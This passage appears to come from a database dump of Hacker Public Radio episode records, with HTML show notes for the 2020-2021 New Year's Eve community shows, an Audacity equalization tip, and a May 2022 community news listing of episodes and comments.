/>\r\n<a href=\"https://en.wikipedia.org/wiki/Heroes_(American_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Heroes_(American_TV_series)</a></p></li>\r\n<li><p>Mr Robot<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Mr._Robot\" class=\"uri\">https://en.wikipedia.org/wiki/Mr._Robot</a></p></li>\r\n<li><p>Star Trek Theme Faith of The Heart Remake: Sputnik &amp; yuri gagarin<br />\r\n<a href=\"https://www.youtube.com/watch?v=2y_FcxFseyc\" class=\"uri\">https://www.youtube.com/watch?v=2y_FcxFseyc</a></p></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','HPR,community,new years eve',0,0,1),
(3342,'2021-05-25','2020-2021 New Years Eve Show Episode 2',3672,'the hpr community stops by for a chat','<h2 id=\"welcome-to-the-9th-annual-hacker-public-radio-new-years-eve-show\">Welcome to the 9th Annual Hacker Public Radio New Years Eve Show</h2>\r\n<ul>\r\n<li><p>heated roads and driveways</p></li>\r\n<li><p>talking about distilling spirits</p></li>\r\n<li><p>geek talk</p></li>\r\n<li><p>single board computers</p></li>\r\n</ul>',159,121,0,'CC-BY-SA','HPR,community,new years eve',0,0,1),
(3346,'2021-05-31','2020-2021 New Years Eve Show Episode 3',10488,'the hpr community stops by for a chat','<h2 id=\"welcome-to-the-9th-annual-hacker-public-radio-new-years-eve-show\">Welcome to the 9th Annual Hacker Public Radio New Years Eve Show</h2>\r\n<ul>\r\n<li><p>adjusting nextcloud time and date. Why can\'t I do it? Bug? yes or no?</p></li>\r\n<li><p>We discuss ClaudioM\'s breakfast<br />\r\n<a href=\"https://mastodon.sdf.org/@claudiom/105475213315933382\" class=\"uri\">https://mastodon.sdf.org/@claudiom/105475213315933382</a></p></li>\r\n<li><p><a href=\"https://voicecommandcenter.com/#\" class=\"uri\">https://voicecommandcenter.com/#</a></p></li>\r\n<li><p>Bollywood sci-fi movie <a href=\"https://www.justwatch.com/us/movie/2-0\" class=\"uri\">https://www.justwatch.com/us/movie/2-0</a></p></li>\r\n<li><p>Lineage OS and Android phones</p></li>\r\n<li><p>Librem phone: <a href=\"https://arstechnica.com/gadgets/2020/01/librem-5-phone-hands-on-a-proof-of-concept-for-the-open-source-smartphone/\" class=\"uri\">https://arstechnica.com/gadgets/2020/01/librem-5-phone-hands-on-a-proof-of-concept-for-the-open-source-smartphone/</a><br />\r\n<a href=\"https://shop.puri.sm/shop/librem-5-usa/\" class=\"uri\">https://shop.puri.sm/shop/librem-5-usa/</a></p></li>\r\n<li><p>De-googled Android OS<br />\r\n<a href=\"https://grapheneos.org/\" class=\"uri\">https://grapheneos.org/</a></p></li>\r\n<li><p><a href=\"https://techcrunch.com/2020/12/30/elon-musk-says-spacex-will-attempt-to-recover-super-heavy-rocket-by-catching-it-with-launch-tower/\" class=\"uri\">https://techcrunch.com/2020/12/30/elon-musk-says-spacex-will-attempt-to-recover-super-heavy-rocket-by-catching-it-with-launch-tower/</a></p></li>\r\n<li><p>why do we as a community stick with niche platforms?</p></li>\r\n<li><p><a href=\"https://joinmastodon.org/communities/tech\" class=\"uri\">https://joinmastodon.org/communities/tech</a></p></li>\r\n<li><p><a href=\"https://dev.to/botwiki/introduction-to-mastodon-bots-hfn\" class=\"uri\">https://dev.to/botwiki/introduction-to-mastodon-bots-hfn</a></p></li>\r\n<li><p><a href=\"https://botsin.space/about\" class=\"uri\">https://botsin.space/about</a></p></li>\r\n<li><p><a href=\"https://cdimage.debian.org/cdimage/ports/snapshots/2020-12-03/\" class=\"uri\">https://cdimage.debian.org/cdimage/ports/snapshots/2020-12-03/</a></p></li>\r\n<li><p><a href=\"https://xnux.eu/p-boot-demo/\" class=\"uri\">https://xnux.eu/p-boot-demo/</a></p></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/series.php?id=115\" class=\"uri\">https://hackerpublicradio.org/series.php?id=115</a> Bicycle Hacking</p></li>\r\n<li><p><a href=\"https://sites.google.com/site/recycledrecumbents/home/the-showroom\" class=\"uri\">https://sites.google.com/site/recycledrecumbents/home/the-showroom</a></p></li>\r\n<li><p>Linux/BSD audio talk</p></li>\r\n<li><p>Pipewire: <a href=\"https://wiki.archlinux.org/index.php/PipeWire\" class=\"uri\">https://wiki.archlinux.org/index.php/PipeWire</a></p></li>\r\n<li><p>Unfa YouTube channel: <a href=\"https://www.youtube.com/user/unfa00\" class=\"uri\">https://www.youtube.com/user/unfa00</a></p></li>\r\n<li><p>Sndio is a small audio and MIDI framework part of the OpenBSD project<br />\r\n<a href=\"https://sndio.org/\" class=\"uri\">https://sndio.org/</a></p></li>\r\n<li><p>Doctor Who</p></li>\r\n<li><p>Data, data structures, and application.</p></li>\r\n<li><p>Audio fun</p></li>\r\n<li><p>nextcloud<br />\r\nDe google with nextcloud - <a href=\"https://nextcloud.com/\" class=\"uri\">https://nextcloud.com/</a></p></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','HPR,community,new years eve',0,0,1),
(3352,'2021-06-08','2020-2021 New Years Eve Show Episode 4',3993,'the hpr community stops by for a chat','<h2 id=\"welcome-to-the-9th-annual-hacker-public-radio-new-years-eve-show\">Welcome to the 9th Annual Hacker Public Radio New Years Eve Show</h2>\r\n<ul>\r\n<li><p>Text editors</p></li>\r\n<li><p>x11 and wayland</p></li>\r\n<li><p>Linux check for X11/Wayland<br />\r\n</p></li>\r\n</ul>\r\n<pre><code>loginctl show-session $(awk &#39;/tty/ {print $1}&#39; &lt;(loginctl)) -p Type | awk -F= &#39;{print $2}&#39;</code></pre>\r\n<ul>\r\n<li><p>Firefox new tab override - <a href=\"https://addons.mozilla.org/en-US/firefox/addon/new-tab-override/?utm_source=addons.mozilla.org&amp;utm_medium=referral&amp;utm_content=search\" class=\"uri\">https://addons.mozilla.org/en-US/firefox/addon/new-tab-override/?utm_source=addons.mozilla.org&amp;utm_medium=referral&amp;utm_content=search</a></p></li>\r\n<li><p>Distributed Search <a href=\"https://yacy.net/index.html\" class=\"uri\">https://yacy.net/index.html</a></p></li>\r\n<li><p>Join Mastodon - <a href=\"https://joinmastodon.org/\" class=\"uri\">https://joinmastodon.org/</a></p></li>\r\n<li><p>edit correspondent page by posting a new show...</p></li>\r\n<li><p><a href=\"https://distrohoppersdigest.blogspot.com/\" class=\"uri\">https://distrohoppersdigest.blogspot.com/</a></p></li>\r\n<li><p><a href=\"https://addons.mozilla.org/en-US/firefox/addon/open-with/?utm_source=addons.mozilla.org\" class=\"uri\">https://addons.mozilla.org/en-US/firefox/addon/open-with/?utm_source=addons.mozilla.org</a></p></li>\r\n<li><p><a href=\"https://addons.mozilla.org/en-US/firefox/addon/videospeed/?utm_source=addons.mozilla.org\" class=\"uri\">https://addons.mozilla.org/en-US/firefox/addon/videospeed/?utm_source=addons.mozilla.org</a></p></li>\r\n<li><p>X2go Graphical interface over ssh <a href=\"https://wiki.x2go.org/doku.php\" class=\"uri\">https://wiki.x2go.org/doku.php</a></p></li>\r\n<li><p>Filk Music discussion: Filk music is a musical culture, genre, and community tied to science fiction, fantasy and horror fandom and a type of fan labor. The genre has been active since the early 1950s, and played primarily since the mid-1970s.</p></li>\r\n<li><p>Dresden Files and books</p></li>\r\n<li><p>happy new year from the Fallon family</p></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','HPR,community,new years eve',0,0,1),
(3356,'2021-06-14','2020-2021 New Years Eve Show Episode 5',16905,'the hpr community stops by for a chat','<h2 id=\"welcome-to-the-9th-annual-hacker-public-radio-new-years-eve-show\">Welcome to the 9th Annual Hacker Public Radio New Years Eve Show</h2>\r\n<ul>\r\n<li><p>Vacinations</p></li>\r\n<li><p>covid lock downs</p></li>\r\n<li><p>covid covid covid (no suprise)</p></li>\r\n<li><p>virtual confrences</p></li>\r\n<li><p>Virtual life</p></li>\r\n<li><p>programing languages</p></li>\r\n<li><p>the size of texas - Even the Skunks are Large!</p></li>\r\n<li><p>Religion</p></li>\r\n<li><p>Linux</p></li>\r\n</ul>',159,121,1,'CC-BY-SA','HPR,community,New Years Eve',0,0,1),
(3361,'2021-06-21','2020-2021 New Years Eve Show Episode 6',12738,'the hpr community stops by for a chat','<h2 id=\"welcome-to-the-9th-annual-hacker-public-radio-new-years-eve-show\">Welcome to the 9th Annual Hacker Public Radio New Years Eve Show</h2>\r\n<ul>\r\n<li><p>Vaccines</p></li>\r\n<li><p>Discussion about the movies: Jumanji, Wizard of Oz.</p></li>\r\n<li><p>Discussion about facebook, whatsapp, and social networks.</p></li>\r\n<li><p>Filk</p></li>\r\n<li><p>Performance of \"Alice the first woman on the moon\" written by Blind Lemon Chiffon.</p></li>\r\n<li><p>podcasting</p></li>\r\n<li><p>Dungeons and Dragons talk</p></li>\r\n<li><p>History</p></li>\r\n<li><p>staying awake for many hours</p></li>\r\n<li><p>geography</p></li>\r\n<li><p>geology</p></li>\r\n<li><p>languages</p></li>\r\n<li><p>food</p></li>\r\n<li><p>minecraft</p></li>\r\n<li><p>schools</p></li>\r\n<li><p>language</p></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','HPR,community,new years eve',0,0,1),
(3366,'2021-06-28','2020-2021 New Years Eve Show Episode 7',9803,'the hpr community stops by for a chat','<h2 id=\"welcome-to-the-9th-annual-hacker-public-radio-new-years-eve-show\">Welcome to the 9th Annual Hacker Public Radio New Years Eve Show</h2>\r\n<ul>\r\n<li><p>language</p></li>\r\n<li><p>the murmur server (that was originally run by John Neusteter)</p></li>\r\n<li><p>mintcast</p></li>\r\n<li><p>Linux</p></li>\r\n<li><p>Some chatter about home packing and selling. Struggles with packing and finding places to move to out in the \'country\'.</p></li>\r\n<li><p>Free movement and Irish passports</p></li>\r\n<li><p>D\'n\'D talk. The absence of Klaatu.</p></li>\r\n<li><p>The current mumble server for this New year show is probably going to go away after this year.</p></li>\r\n<li><p>Mordancy makes shirts</p></li>\r\n<li><p>Dave talks about his recipe database</p></li>\r\n<li><p>how the HPR shows get posted</p></li>\r\n<li><p>audio books</p></li>\r\n<li><p>Legos</p></li>\r\n<li><p>Electricity is fun</p></li>\r\n<li><p>fun streaming video</p></li>\r\n<li><p>storage</p></li>\r\n<li><p>video game emulation</p></li>\r\n<li><p>Joe fixes headphones (were all shocked)</p></li>\r\n<li><p>weather</p></li>\r\n<li><p>Hunting</p></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','HPR,community,new years eve',0,0,1),
(3372,'2021-07-06','2020-2021 New Years Eve Show Episode 8',5947,'the hpr community stops by for a chat','<h2 id=\"welcome-to-the-9th-annual-hacker-public-radio-new-years-eve-show\">Welcome to the 9th Annual Hacker Public Radio New Years Eve Show</h2>\r\n<ul>\r\n<li><p>Hunting</p></li>\r\n<li><p>food</p></li>\r\n<li><p>cpap machines</p></li>\r\n<li><p>Music</p></li>\r\n<li><p>Audio books</p></li>\r\n<li><p>podcasts</p></li>\r\n<li><p>Archive.org is great (support if possible please)</p></li>\r\n<li><p>Moss has a fun 2020</p></li>\r\n<li><p>Politics</p></li>\r\n<li><p>Health care</p></li>\r\n<li><p>grey hat</p></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','HPR,community,new years eve',0,0,1),
(3345,'2021-05-28','Audio for Podcasting: Episode 2 - Equalization',965,'Thaj shares tips and tricks on producing quality audio for HPR episodes','<p>In this episode we discuss equalization in order to improve our audio quality for podcasting. We will use <a href=\"https://www.audacityteam.org/\">Audacity</a> to manipulate our equalization.</p>\r\n<p>The best method of achieving this is to use the Graphic EQ plugin. To use this select the audio you wish to process, then use the \"Effect\" menu to select the Graphic EQ plugin.</p>\r\n<p><img src=\"https://ia601405.us.archive.org/28/items/3_20210430_20210430/HPR1.png\" alt=\"The Graphic EQ plugin\" /> <img src=\"https://archive.org/download/3_20210430_20210430/2.png\" alt=\"An example of removing the bass frequencies in the Graphic EQ plugin\" /> <img src=\"https://archive.org/download/3_20210430_20210430/3.png\" alt=\"An example of boosting the bass frequencies in the Graphic EQ plugin\" /></p>',270,45,1,'CC-BY-SA','audio production, equalization, audio quality',0,0,1),
(3337,'2021-05-18','I like that the boat is stuck',527,'A dramatic reading of a work by Gailey','<p><strong><em>The episode is released under a Attribution-NonCommercial-NoDerivs 3.0 Unported (CC BY-NC-ND 3.0). HPR has been given non-exclusive rights to create and distribute audio narration with kind permission of the Author. For clarity, permission has not been granted for derivative works, commercial or otherwise, to be created from this narration. This license only applies to the audio narration, not the print version of the essay.</em></strong></p>\r\n<p>I found this piece really fascinating and I like that you can take a huge problem and still consider it simple. It puts a lot of other problems into perspective and I like how this piece is written.</p>\r\n<p><a href=\"https://stone-soup.ghost.io/archive/i-like-that-the-boat-is-stuck/\" class=\"uri\">https://stone-soup.ghost.io/archive/i-like-that-the-boat-is-stuck/</a></p>\r\n\r\n',382,0,0,'CC-BY-NC-ND','news, boat, stuck',0,0,1),
(3611,'2022-06-06','HPR Community News for May 2022',3341,'HPR Volunteers talk about shows released and comments posted in May 2022','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3586\" target=\"_blank\">3586</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-05-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3586\" target=\"_blank\">HPR Community News for April 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3587\" target=\"_blank\">3587</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-05-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3587\" target=\"_blank\">20220406_UDM</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3588\" target=\"_blank\">3588</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-05-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3588\" target=\"_blank\">Linux Inlaws S01E55: Get yer boots on for a fresh look at init systems</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3589\" target=\"_blank\">3589</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-05-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3589\" target=\"_blank\">Sample of my microphones</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3590\" target=\"_blank\">3590</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-05-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3590\" target=\"_blank\">Directory Commands</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3591\" target=\"_blank\">3591</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-05-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3591\" target=\"_blank\">Small Flashlights</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3592\" target=\"_blank\">3592</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-05-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3592\" target=\"_blank\">A quick look at the Surface pro X</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3593\" target=\"_blank\">3593</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-05-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3593\" target=\"_blank\">Home office setup mouse shoulder and Auto Hot Key Scripts</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3594\" target=\"_blank\">3594</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-05-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3594\" target=\"_blank\">Peely-wally in Edinburgh</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3595\" target=\"_blank\">3595</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-05-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3595\" target=\"_blank\">I am sure I changed my password last...???</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3596\" target=\"_blank\">3596</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-05-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3596\" target=\"_blank\">Extracting text, tables and images from docx files using Python</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3597\" target=\"_blank\">3597</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-05-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3597\" target=\"_blank\">Good Idea Fairy Hunting</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3598\" target=\"_blank\">3598</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-05-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3598\" target=\"_blank\">Slackware 15 - 32 bit Operating System from day one.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3599\" target=\"_blank\">3599</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-05-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3599\" target=\"_blank\">Linux Inlaws S01E56: Slackware - A User\'s Perspective</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3600\" target=\"_blank\">3600</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-05-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3600\" target=\"_blank\">Digitizing Photos</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3601\" target=\"_blank\">3601</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-05-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3601\" target=\"_blank\">Re: The Worst Car I Ever Had</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3602\" target=\"_blank\">3602</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-05-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3602\" target=\"_blank\">Hacker Stories April 20 22</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3603\" target=\"_blank\">3603</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-05-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3603\" target=\"_blank\">Who the heck is Evil Steve? Part 1\r\n</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3604\" target=\"_blank\">3604</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-05-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3604\" target=\"_blank\">Everything You Always Wanted to Know About PEX Part 01- Let\'s Talk About PEX - Introduction </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3605\" target=\"_blank\">3605</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-05-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3605\" target=\"_blank\">Aspire-ing to use 13 year hardware</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3606\" target=\"_blank\">3606</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-05-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3606\" target=\"_blank\">Infinity is just a big number and other proofs</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3607\" target=\"_blank\">3607</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-05-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3607\" target=\"_blank\">The Best Eggs in the World</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=128\" target=\"_blank\">pokey</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 24 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 5 comments on\n2 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3574#comments\" target=\"_blank\">hpr3574</a></strong>\n(2022-04-14) \"<em>Local Talking Newspapers</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=403\" target=\"_blank\">Lee</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3574#5\" target=\"_blank\">Comment 5</a>:\nelmussol on 2022-05-09:\n\"correction\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3574#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2022-05-09:\n\"Clitheroe, LANCASHIRE!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3585#comments\" target=\"_blank\">hpr3585</a></strong>\n(2022-04-29) \"<em>Freedom of speech in open source, Part 2.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3585#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2022-05-04:\n\"Open source vs. free software\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3585#2\" target=\"_blank\">Comment 2</a>:\nSome Guy On The Internet on 2022-05-05:\n\"The freedom to Advertise.\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3585#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2022-05-05:\n\"Free Software\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 19 comments on 10 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3586#comments\" target=\"_blank\">hpr3586</a></strong>\n(2022-05-02) \"<em>HPR Community News for April 2022</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3586#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2022-05-19:\n\"jinx\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3588#comments\" target=\"_blank\">hpr3588</a></strong>\n(2022-05-04) \"<em>Linux Inlaws S01E55: Get yer boots on for a fresh look at init systems</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3588#1\" target=\"_blank\">Comment 1</a>:\ncybergrue on 2022-05-04:\n\"Unix Philosophy\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3588#2\" target=\"_blank\">Comment 2</a>:\nClinton Roy on 2022-05-05:\n\"Debian systemd\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3588#3\" target=\"_blank\">Comment 3</a>:\nbrian-in-ohio on 2022-05-19:\n\"out of your depth\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3592#comments\" target=\"_blank\">hpr3592</a></strong>\n(2022-05-10) \"<em>A quick look at the Surface pro X</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3592#1\" target=\"_blank\">Comment 1</a>:\nRobert on 2022-04-30:\n\"Fine show until ...\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3594#comments\" target=\"_blank\">hpr3594</a></strong>\n(2022-05-12) \"<em>Peely-wally in Edinburgh</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3594#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2022-05-19:\n\"great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3594#2\" target=\"_blank\">Comment 2</a>:\nBeeza on 2022-05-20:\n\"Pascal\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3594#3\" target=\"_blank\">Comment 3</a>:\nDave on 2022-05-20:\n\"Thanks Brian\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3594#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2022-05-20:\n\"Regarding Pascal\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3597#comments\" target=\"_blank\">hpr3597</a></strong>\n(2022-05-17) \"<em>Good Idea Fairy Hunting</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3597#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2022-05-18:\n\"Great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3597#2\" target=\"_blank\">Comment 2</a>:\nLurking Prion on 2022-05-19:\n\"Thank you!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3598#comments\" target=\"_blank\">hpr3598</a></strong>\n(2022-05-18) \"<em>Slackware 15 - 32 bit Operating System from day one.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3598#1\" target=\"_blank\">Comment 1</a>:\nbittin on 2022-05-18:\n\"Audacious Winamp Skins\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3598#2\" target=\"_blank\">Comment 2</a>:\nlinuxdaddy on 2022-05-18:\n\"32-bit linux\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3598#3\" target=\"_blank\">Comment 3</a>:\nbrian-in-ohio on 2022-05-19:\n\"great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3598#4\" target=\"_blank\">Comment 4</a>:\nWindigo on 2022-05-21:\n\"Intrigued about slackware\"</li></ul><br/>\n</li><li><strong><a 